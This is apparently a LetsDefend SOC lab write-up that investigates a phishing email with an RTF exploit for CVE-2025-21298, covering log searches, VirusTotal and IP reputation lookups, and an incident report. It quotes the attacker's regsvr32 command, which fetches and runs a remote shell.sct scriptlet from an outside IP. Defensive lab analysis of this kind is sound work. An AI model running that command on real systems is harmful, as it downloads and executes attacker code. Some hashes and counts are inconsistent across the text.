

Event Information:

EventID :

314

Event Time :

Feb, 04, 2025, 04:18 PM

Rule :

SOC336 - Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025-21298)

Level :

Security Analyst

SMTP Address :

84.38.130.118

Source Address :

projectmanagement@pm.me

Destination Address :

Austin@letsdefend.io

E-mail Subject :

Important: Action Required for Upcoming Project Deadline

Attachment :

mail.rtf

Attachment Hash :

df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184

Device Action :

Allowed

Trigger Reason :

Malicious RTF attachment identified with known CVE-2025-21298 exploit pattern.

Analysis Steps:

The victim with the hostname Austin 172[.]16.17.137 was sent a phishing email utilising CVE-2025-21298. This exploits Windows OLE (Object Linking and Embedding) so that simply by previewing a RTF (Rich Text Format) file containing a corrupted OLE object the zero-click exploit may execute.

We can see that the attacker was able to run a malicious command on the machine.

Host Information

Hostname: Austin

Domain: LetsDefend

IP Address: 172.16.17.137

Bit Level: 64

OS: Windows 10

Primary User: Austin

Client/Server: Server

Last Login: Feb, 04, 2025, 04:33 PM

Action

Containment: ☐

COMMAND LINE

"C:\Windows\System32\cmd.exe /c regsvr32.exe /s /u /i:http://84.38.130.118.com/shell.sct scrobj.dll"

EVENT TIME

COMMAND LINE

Feb 04 2025 08:06:08 "C:\Windows\System32\cmd.exe /c regsvr32.exe /s /u /i:http://84.38.130.118...

< 1 >

When searching the logs for the IP in the command it was found that the GET request was permitted.

New Search

Destination Address contains "84.38.130.118"

✓ 1 events (before Feb, 04, 2025, 08:06 AM UTC)

< Hide Fields

INTERESTING FIELDS

α type

α source_address

source_port

α destination_address

destination_port

α raw_log

Event

source_address172.16.17.137

source_port35424

destination_address84.38.130.118

destination_port80

timeFeb, 04, 2025, 08:06 AM

Raw Log

Request URLhttp://84.38.130.118.com/shell.sct

Request MethodGET

Device ActionPermitted

Processcmd.exe

Process ID6784

1 row selected

On VirusTotal 29/61 Vendors list the file as malicious as of 6 days ago.

29
/ 61

Community Score

23/63 security vendors flagged this file as malicious

Reanalyze Similar More

df993d037cb77a435d693a37e7750dbb16b2d04916499845d56a29194184

mail_rtf

Size: 236 B

Last Analysis Date: 6 days ago

RTF

rtf

cve-2025-21298

cve-2017-11882

html-control

detect-debug-environment

calls-wmi

exploit

DETECTION

DETAILS

RELATIONS

BEHAVIOR

COMMUNITY 12

Join our Community

and enjoy additional community insights and crowdsourced detections, plus an API key to **automate checks**.

Popular threat label

trojan.exploit.rtfmalformb

Threat categories

trojan

Family labels

exploit

rtfmalformb

abapplication

Security vendors' analysis

Do you want to automate checks?

AICloud	Exploit.Win/CVE-2025-21298.gyf	ALYac	Exploit.CVE-2025-21298.1
Arcabit	Exploit.CVE-2025-21298.1	Avast	RTF.CVE-2025-21298-A [Exploit]
AVG	RTF.CVE-2025-21298-A [Exploit]	Aura (no cloud)	EXP/CVE-2025-21298.A
BitDefender	Exploit.CVE-2025-21298.1	CTX	RTF.exploit.kit.generic
Cyren	Malicious (score: 99)	Emisoft	Exploit.CVE-2025-21298.1 (B)
eScan	Exploit.CVE-2025-21298.1	GData	Exploit.CVE-2025-21298.1

The malware hosting IP is present in our CTI database.

DATE	DATA TYPE	DATA	TAG	DATA SOURCE
Feb, 04, 2025, 08:35 AM	IP	84.38.130.118	Malicious	Anonymous

The IP is external to the organisation. No emails have been received indicating penetration testing involving the IP for the relevant time period. VirusTotal indicates it is a Latvian address associated with 84[.]38.130.118 AS 52048 (SIA RixHost). 9/91 security vendors flagged this IP address as malicious.

9

/ 91

Community Score

2

84.38.130.118 (84.38.130.0/24)

AS 52048 (SIA RixHost)

LV

Last Analysis Date

7 days ago

9/91 security vendors flagged this IP address as malicious

Reanalyze

More

DETECTION

DETAILS

RELATIONS

COMMUNITY 7

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis ⓘ

Do you want to automate checks?

ADMINUSLabs	Malicious	alphaMountain.ai	Malicious
AlphaSOC	Malware	BitDefender	Phishing
Chong Lua Dao	Malicious	CDF	Malicious
G-Data	Phishing	Lionic	Malicious
Sophos	Malware	Gridinsoft	Suspicious
SOCiadar	Suspicious	Abusix	Clean

On AbuseIPDB this IP was reported 1 time with a 0% confidence of abuse.

84.38.130.118 was found in our database!	
This IP was reported 1 times. Confidence of Abuse is 0%: ?	
0%	
ISP	Virtual and Dedicated servers
Usage Type	Data Center/Web Hosting/Transit
ASN	AS52048
Domain Name	rixhost.lv
Country	Latvia
City	Riga, Riga

Based on following Playbook procedure and the analysis of available information, this alert is determined to be a successful True Positive.

Report:

Incident Summary

Analysis confirms a successful True Positive zero-click exploit (CVE-2025-21298) on the host Austin (172[.]16.17.137). An external threat actor delivered a malicious RTF file via a targeted phishing email. Upon previewing the document, the Windows OLE vulnerability was triggered, leading to silent remote code execution. The endpoint successfully downloaded a secondary payload from an external malicious server.

Incident Details

- **Alert Name:** SOC336 - Windows OLE Zero-Click RCE Exploitation Detected
- **Target Host:** Austin (172[.]16.17.137)
- **Malicious File:** mail.rtf
- **Attack Vector:** Phishing email with a zero-click RTF attachment

Analysis and Evidence

- **Initial Access:** Email logs confirm the delivery of a malicious email originating from projectmanagement[.]pm[.]me containing an RTF attachment disguised as a project deadline notice.
- **Attack Execution:** Endpoint terminal history confirms that previewing the document triggered a zero-click OLE exploit. The exploit spawned a hidden command prompt (cmd.exe) which utilised regsvr32.exe to silently fetch an external script (shell.sct).
- **Success Confirmation:** Network and proxy logs confirm that the outbound HTTP GET request to the attacker's infrastructure for shell.sct was explicitly Permitted by the firewall, confirming successful payload delivery.

Threat Intelligence

- **OSINT:** VirusTotal analysis of the RTF document hash confirms it is a malicious exploit (29/61 vendors).
- **Infrastructure:** The payload hosting IP (84[.]38.130.118) is located in Latvia and is external to the organisation. It is actively flagged as Malicious within the internal CTI database and by 9/91 external security vendors.
- **Internal Correlation:** A review of internal communications confirmed no authorised Red Team testing or phishing simulations were scheduled involving this user during the incident window.

Actions Taken

1. Contained host Austin (172[.]16.17.137).
2. Deleted the malicious email from the user's inbox.
3. Declared the alert a True Positive and escalated for further investigation.

Let's Defend Result

SOC336 - Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025-21298)

True Positive (+5 Point)

Check If Someone Requested the C2 (+5 Point)

Analyze Malware (+5 Point)

Check if the malware is quarantined/cleaned (+5 Point)